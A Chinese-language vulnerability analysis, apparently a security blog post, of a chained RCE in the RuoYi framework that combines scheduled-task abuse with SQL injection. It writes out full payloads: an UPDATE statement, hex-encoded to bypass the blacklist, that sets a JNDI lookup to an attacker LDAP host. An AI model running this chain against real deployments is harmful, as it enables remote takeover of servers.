最新Ruoyi组合拳RCE分析
n*o 发表于 浙江 漏洞分析 8731浏览 · 2024-02-29 11:30

开门见山

最新版ruoyi rce的方法依旧是在定时任务处:定时任务中可以调用特定包内的bean,通过genTableServiceImpl直接执行sql来更改定时任务内容,从而绕过黑白名单的限制。既然是组合拳rce,因此就先分析下另外两个漏洞,而rce自然而然就出来了

定时任务+文件读取=任意文件读取

先来简单聊一下若依任意文件读取(CVE-2023-27025),影响版本在4.7.6之前
众所周知,ruoyi计划任务能调用bean或者class类,这里就是通过调用ruoYiConfig.setProfile,来更改本地上传文件路径

且该bean包名能通过黑白名单校验

/common/download/resource接口能读取文件
虽然前端对传入文件名resource进行过滤,但本地资源路径通过上文计划任务变为可控,此时更改ruoYiConfig.setProfile的配置文件为任意想要读取的文件即可,也就达到了任意文件读取效果

createTable处的Sql注入

在ruoyi 4.7.5版本之前,后台存在sql注入
接口/tool/gen/createTable处,定位到代码,其功能为创建数据表。将sql语句直接从前端传入,并执行

Mapper语句:

<update id="createTable">
      ${sql}
</update>

定时任务+SQL注入=RCE

根据上文的注入可以找到genTableService的实现类:GenTableServiceImpl,该类同样满足黑白名单条件

在启动类中我们可以修改代码如下,打印出项目中所有加载的bean,

ConfigurableApplicationContext run = SpringApplication.run(RuoYiApplication.class, args);
String[] beanDefinitionNames = run.getBeanDefinitionNames();
for (String beanDefinitionName : beanDefinitionNames) {
    System.out.println(beanDefinitionName);
}


于是我们可以调用genTableServiceImpl.createTable实现sql语句执行
ruoyi黑白名单校验仅出现在com.ruoyi.quartz.controller.SysJobController#addSave,而任务状态修改接口中并没有添加


如果我们配合上文的注入在sys_job数据表中直接插入恶意计划任务,即可不调用addSave方法添加计划任务内容,成功绕过黑白名单限制
数据库中计划任务表结构如下


这里选择图个方便,直接使用update来修改invoke_target为Jndi payload:

javax.naming.InitialContext.lookup('ldap://192.168.44.84:1389/Deserialization/URLDNS/ekwzmxtyim.dgrh3.cn')

updata执行语句为

genTableServiceImpl.createTable("UPDATE sys_job SET invoke_target = \"javax.naming.InitialContext.lookup('ldap://192.168.44.84:1389/Deserialization/URLDNS/ekwzmxtyim.dgrh3.cn')\" WHERE job_id = 3;")

但会触发黑名单


既然是执行sql语句,直接将value转为16进制即可

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3139322e3136382e34342e38343a313338392f446573657269616c697a6174696f6e2f55524c444e532f656b777a6d787479696d2e64677268332e636e2729 WHERE job_id = 3;')

此时是能成功执行org.quartz.Scheduler#scheduleJob来调度任务的


成功更新sys_job数据

漏洞复现

启动jndi利用工具:


添加任务:修改id为3的计划任务为jndi payload,并执行

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3139322e3136382e34342e38343a313338392f446573657269616c697a6174696f6e2f55524c444e532f656b777a6d787479696d2e64677268332e636e2729 WHERE job_id = 3;')


此时任务3的调用字符串已经是Jndi payload了,后面直接通过/monitor/job/changeStatus接口直接更改任务状态触发Jndi


此外根据ruoyi默认依赖,还可以使用jndi-plus的jackson反序列化来实现rce

参考文章

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/blob/master/README_zh.md
https://github.com/luelueking/RuoYi-v4.7.8-RCE-POC

0 条评论
某人
表情
可输入 255